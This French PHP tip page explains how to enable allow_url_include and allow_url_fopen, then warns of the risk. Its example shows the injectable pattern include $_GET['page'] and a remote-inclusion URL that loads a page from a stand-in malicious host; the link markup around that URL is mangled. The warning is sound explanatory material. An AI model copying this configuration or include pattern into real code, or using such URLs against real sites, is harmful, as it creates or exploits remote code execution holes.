PHP 5 - Utiliser une url externe avec la fonction include

Dernière mise à jour le 5 novembre 2009 à 12:54 par marlalapocket
Publié par aruju
L'option qui permet d'inclure un url externe (c'est à dire absolue, de la forme http://site.tld/url) via la fonction include est désactivée par défaut dans les versions 5 et ultérieures de PHP, pour l'activer sur votre serveur mettez ces deux lignes dans votre fichier php.ini

allow_url_include = 1
allow_url_fopen = 1

Pour plus d'informations, voir ICI

NOTE IMPORTANTE: Néanmoins, il est très dangereux d'activer l'option allow_url_include. En effet elle peut, dans certains cas, poser de graves failles de sécurité si le développeur est négligent.

Prenons un simple exemple, vous avez un script PHP qui inclut une page en fonction de ce qu'on lui donne comme arguments via l'URL.
C'est à dire qu'en tapant http://votresite.flet/mapage.php?page=page_a_inclure.php vous allez inclure la page "page_a_inclure.php".
Si votre code ressemble à ceci : include $_GET['page']; alors vous laissez la porte ouverte à n'importe qui pour injecter du code externe. En effet, rien ne m'empêche d'inclure une page php qui vient de chez moi:

href= <a href='http://sitemechant.prout/pagemechante.php'' target='_blank'>http://sitemechant.prout/pagemechante.php'</a> target='_blank' rel='nofollow'>http://votresite.flet/mapage.php?http://sitemechant.prout/pagemechante.php</a>

Il faut donc être vigilant lorsque l'on active cette option.
Meilleures réponses pour « PHP 5 Utiliser une url externe avec la fonction include » dans :
[PHP] Transformer une URL en lien hypertexte cliquable VoirGrâce aux expressions régulières, il est possible de transformer en lien hypertexte toute URL de la forme http://URL (ou ftp://URL) ou bien commençant par www. :
PHP Parse error: unexpected '&lt;' in ... eval()'d code on l VoirSymptômes Lors de l'utilisation de la fonction eval() en PHP, ce dernier se plaint et vous affiche un message de la forme suivante : PHP Parse error: syntax error, unexpected '
PHP - Les classes VoirLa notion de classe Php3 intègre un soupçon de caractéristiques empruntées aux langages orientés objet, c'est-à-dire la possibilité d'utiliser des objets, entités regroupant des données et des fonctions au sein d'une structure et rendant la...
URL VoirQu'est-ce qu'une URL? Une URL (Uniform Resource Locator) est un format de nommage universel pour désigner une ressource sur Internet. Il s'agit d'une chaîne de caractères ASCII imprimables qui se décompose en cinq parties : Le nom du...